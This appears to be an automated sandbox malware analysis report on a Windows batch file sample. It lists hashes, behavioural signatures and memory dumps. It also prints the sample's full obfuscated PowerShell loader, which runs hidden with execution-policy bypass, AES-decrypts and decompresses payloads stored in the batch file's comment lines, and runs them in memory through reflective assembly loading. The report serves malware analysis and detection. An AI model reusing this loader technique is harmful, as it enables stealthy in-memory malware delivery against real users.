Analysis
-
max time kernel
122s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
25-04-2024 01:24
Static task
static1
Behavioral task
behavioral1
Sample
31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4.bat
Resource
win7-20240221-en
windows7-x64
3 signatures
150 seconds
General
-
Target
31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4.bat
-
Size
3.5MB
-
MD5
45730c9d81cdc2677ea2bd082eb79edb
-
SHA1
7ece7b975ab6506d83dac94f685e2cedbe56dd6b
-
SHA256
31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
-
SHA512
d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
-
SSDEEP
49152:mR8s3zr/pxAN80OHguszxrEC/agxlnUrLvlKNNwI:d
Score
1/10
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2068 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2068 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2612 wrote to memory of 2068 2612 cmd.exe powershell.exe PID 2612 wrote to memory of 2068 2612 cmd.exe powershell.exe PID 2612 wrote to memory of 2068 2612 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Local\Temp\31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2068-4-0x000000001B310000-0x000000001B5F2000-memory.dmpFilesize
2.9MB
-
memory/2068-5-0x0000000001F20000-0x0000000001F28000-memory.dmpFilesize
32KB
-
memory/2068-6-0x000007FEF6070000-0x000007FEF6A0D000-memory.dmpFilesize
9.6MB
-
memory/2068-7-0x00000000027D0000-0x0000000002850000-memory.dmpFilesize
512KB
-
memory/2068-8-0x000007FEF6070000-0x000007FEF6A0D000-memory.dmpFilesize
9.6MB
-
memory/2068-9-0x00000000027D0000-0x0000000002850000-memory.dmpFilesize
512KB
-
memory/2068-11-0x00000000027D0000-0x0000000002850000-memory.dmpFilesize
512KB
-
memory/2068-10-0x00000000027D0000-0x0000000002850000-memory.dmpFilesize
512KB
-
memory/2068-12-0x000007FEF6070000-0x000007FEF6A0D000-memory.dmpFilesize
9.6MB